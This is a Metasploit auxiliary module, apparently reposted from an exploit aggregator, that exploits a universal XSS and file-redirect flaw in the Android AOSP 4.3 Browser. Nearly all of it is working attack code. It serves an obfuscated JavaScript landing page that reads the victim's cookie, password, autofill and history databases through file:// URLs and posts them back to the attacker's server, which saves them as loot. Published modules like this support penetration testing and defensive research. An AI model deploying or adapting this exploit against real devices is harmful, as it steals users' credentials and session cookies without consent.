Share
## https://sploitus.com/exploit?id=PACKETSTORM:180636
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Auxiliary::Report  
include Msf::Exploit::JSObfu  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Android Browser File Theft',  
'Description' => %q{  
This module steals the cookie, password, and autofill databases from the  
Browser application on AOSP 4.3 and below.  
},  
'Author' => [  
'Rafay Baloch', # Found UXSS bug in Android Browser  
'joev' # File redirect and msf module  
],  
'License' => MSF_LICENSE,  
'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]],  
'PassiveActions' => [ 'WebServer' ],  
'References' =>  
[  
# patch for file redirection, 2014  
['URL', 'https://android.googlesource.com/platform/packages/apps/Browser/+/d2391b492dec778452238bc6d9d549d56d41c107%5E%21/#F0'],  
['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=90222'] # the UXSS  
],  
'DefaultAction' => 'WebServer'  
))  
  
register_options([  
OptString.new('ADDITIONAL_FILES', [  
false,  
'Comma-separated list of addition file URLs to steal.',  
]),  
OptBool.new('DEFAULT_FILES', [  
true,  
'Steals a default set of file URLs',  
true  
])  
])  
end  
  
def run  
exploit  
end  
  
def on_request_uri(cli, request)  
if request.method.downcase == 'post'  
process_post(cli, request)  
send_response_html(cli, '')  
else  
print_status('Sending exploit landing page...')  
send_response_html(cli, exploit_html)  
end  
end  
  
def process_post(cli, request)  
data = JSON.parse(request.body)  
contents = hex2bin(data['data'])  
file = File.basename(data['url'])  
print_good("File received: #{(contents.bytesize.to_f/1000).round(2)}kb #{file}")  
loot_path = store_loot(  
file,  
'application/x-sqlite3',  
cli.peerhost,  
contents,  
File.basename(data['url']),  
"#{cli.peerhost.ljust(16)} Android browser file"  
)  
print_good("Saved to: #{loot_path}")  
end  
  
  
def file_urls  
default_urls = [  
'file:///data/data/com.android.browser/databases/webviewCookiesChromium.db',  
'file:///data/data/com.android.browser/databases/webview.db',  
'file:///data/data/com.android.browser/databases/autofill.db',  
'file:///data/data/com.android.browser/databases/browser2.db',  
'file:///data/data/com.android.browser/app_appcache/ApplicationCache.db',  
'file:///data/data/com.android.browser/app_databases/Databases.db',  
'file:///data/data/com.android.browser/databases/webviewCookiesChromiumPrivate.db'  
]  
  
unless datastore['DEFAULT_FILES']  
default_urls = []  
end  
  
default_urls + (datastore['ADDITIONAL_FILES']||'').split(',')  
end  
  
def exploit_html  
%Q|  
<!doctype html>  
<html>  
<body>  
<script>#{exploit_js}</script>  
</body>  
</html>  
|  
end  
  
def exploit_js  
js_obfuscate %Q|  
window.onmessage = function(e) {  
var x = new XMLHttpRequest;  
x.open("POST", location.href);  
x.send(JSON.stringify(e.data))  
};  
  
  
function xss() {  
var urls = (#{JSON.generate(file_urls)});  
function tick() {  
setTimeout(function() { next(urls.shift()); });  
};  
window.onmessage = tick;  
  
function next(url) {  
if (!url) return;  
try {  
var f = document.createElement('iframe');  
f.src = url;  
f.onload = function() {  
f.onload = null;  
function nested() {  
var x = new XMLHttpRequest;  
x.open('GET', location.href);  
x.responseType = 'arraybuffer';  
x.send();  
x.onload = function() {  
var buff = new Uint8Array(x.response);  
var hex = Array.prototype.map.call(buff, function(d) {  
var c = d.toString(16);  
return (c.length < 2) ? 0+c : c;  
}).join(new String);  
/*ensures there are no 'not allowed' responses that appear to be valid data*/  
if (hex.length && hex.indexOf('#{Rex::Text.to_hex("<html><body>not allowed</body></html>","")}') === -1) {  
top.postMessage({data:hex,url:location.href}, '*');  
}  
parent.postMessage(1,'*');  
};  
x.onerror = function() {  
parent.postMessage(1,'*');  
};  
}  
document.documentURI = 'javascript://hostname.com/%0D%0A('+encodeURIComponent(nested.toString())+')()';  
f.contentWindow.location = "";  
};  
document.body.appendChild(f);  
} catch(e) {t();}  
};  
  
tick();  
  
}  
  
var brokenFrame = document.createElement('iframe');  
brokenFrame.src = 'http://localhost:100';  
brokenFrame.setAttribute('style', 'position:absolute;left:-1000px;height:0;width:0;visibility:hidden;')  
brokenFrame.onload = function() {  
brokenFrame.onload = null;  
document.documentURI = 'javascript://hostname.com/%0D%0A('+encodeURIComponent(xss.toString())+')()';  
brokenFrame.contentWindow.location = "";  
};  
document.body.appendChild(brokenFrame);  
|  
end  
  
# TODO: Make this a proper Rex::Text function  
def hex2bin(hex)  
hex.chars.each_slice(2).map(&:join).map { |c| c.to_i(16) }.map(&:chr).join  
end  
end